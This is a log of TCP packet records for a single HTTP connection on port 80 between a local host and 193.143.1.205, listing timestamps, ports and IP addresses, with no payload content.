Jan 10, 2025 19:04:38.802300930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.802310944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.802330017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.802356958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.802396059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.802407026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.802427053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.802535057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.802546024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.802561045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.802567005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.802572966 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.802581072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.802592039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.802604914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.802629948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.802656889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.802670002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.802690983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.832461119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.832489014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.832504034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.832515955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.832528114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.832552910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.832566023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.832617998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.832636118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.832653046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.832672119 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.832699060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.832720041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.832802057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.832817078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.832830906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.832844019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.832844973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.832865953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.832875967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.832916021 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.832933903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.832947016 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.832978964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.832981110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.833035946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.833048105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.833059072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.833077908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.833091974 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.833113909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.833127022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.833184004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.833210945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.833223104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.833260059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.833293915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.833307028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.833317041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.833331108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.833334923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.833379984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.833504915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.833518028 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.833529949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.833540916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.833554029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.833554983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.833568096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.833579063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.833583117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.833606005 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.833848953 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.833890915 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.833897114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.833909988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.833944082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.833960056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.833972931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.834009886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.834048986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.834060907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.834073067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.834084988 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.834095001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.834127903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.834193945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.834207058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.834213018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.834218979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.834243059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.834254026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.834258080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.834265947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.834304094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.834826946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.834839106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.834851027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.834868908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.834896088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.835050106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.835074902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.835100889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.835114002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.835120916 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.835127115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.835139990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.835151911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.835151911 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.835163116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.835175991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.835184097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.835201979 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.835235119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.835247040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.835258007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.835270882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.835277081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.835300922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.835755110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.835767984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.835778952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.835799932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.835819006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.835844994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.835856915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.835866928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.835879087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.835886002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.835937977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.836061001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.836071968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.836083889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.836111069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.836144924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.836157084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.836168051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.836180925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.836191893 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.836199045 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.836204052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.836210012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.836226940 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.836641073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.836662054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.836680889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.838383913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.843246937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.869235039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.869250059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.869260073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.869271994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.869282961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.869293928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.869307041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.869337082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.869411945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.892556906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.892569065 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.892580032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.892718077 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.892743111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.892755032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.892772913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.892784119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.892790079 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.892797947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.892810106 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.892817020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.892832994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.892880917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.892924070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.892966986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.892978907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.893007994 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.893055916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.893066883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.893076897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.893099070 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.893232107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.893274069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.893276930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.893289089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.893326998 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.893369913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.893381119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.893390894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.893402100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.893415928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.893444061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.922993898 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.923012972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.923023939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.923034906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.923046112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.923058033 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.923069954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.923119068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.923147917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.923157930 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.923171997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.923197031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.923232079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.923258066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.923269987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.923269987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.923310995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.923355103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.923410892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.923424006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.923450947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.923476934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.923490047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.923500061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.923517942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.923547983 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.923671961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.923728943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.923743010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.923753977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.923774958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.923791885 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.923867941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.923914909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.923927069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.923957109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.923984051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.924027920 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.924071074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.924083948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.924089909 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.924096107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.924134016 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.924175978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.924187899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.924236059 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.924426079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.924483061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.924494982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.924521923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.924617052 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.924628973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.924640894 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.924653053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.924663067 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.924678087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.924741030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.924751997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.924762964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.924776077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.924783945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.924797058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.925163031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.925173998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.925184011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.925199986 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.925204039 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.925215960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.925225973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.925228119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.925242901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.925268888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.925295115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.925473928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.925486088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.925507069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.925518990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.925532103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.925534964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.925544977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.925554037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.925558090 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.925570011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.925580025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.925582886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.925606012 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.926094055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.926107883 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.926120043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.926131010 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.926147938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.926155090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.926162004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.926173925 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.926189899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.926198959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.926229954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.926388025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.926398993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.926409960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.926424026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.926434994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.926445961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.926448107 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.926457882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.926470041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.926476002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.926484108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.926502943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.926994085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.927010059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.927021980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.927036047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.927038908 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.927062035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.927095890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.927108049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.927119017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.927124977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.927155018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.929852962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.952924967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.952964067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.952976942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.952990055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.953000069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.953073025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.954958916 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.955003977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.955009937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.955014944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.955055952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.955076933 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.955090046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.955102921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.955115080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.955138922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.955147982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.955171108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.991539955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.991575956 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.991589069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.991600990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.991615057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.991626024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.991640091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.991750002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.991770029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.991780996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:04:38.991784096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:04:38.991801977 CET	80	49704	193.143.1.205	192.168.2.5
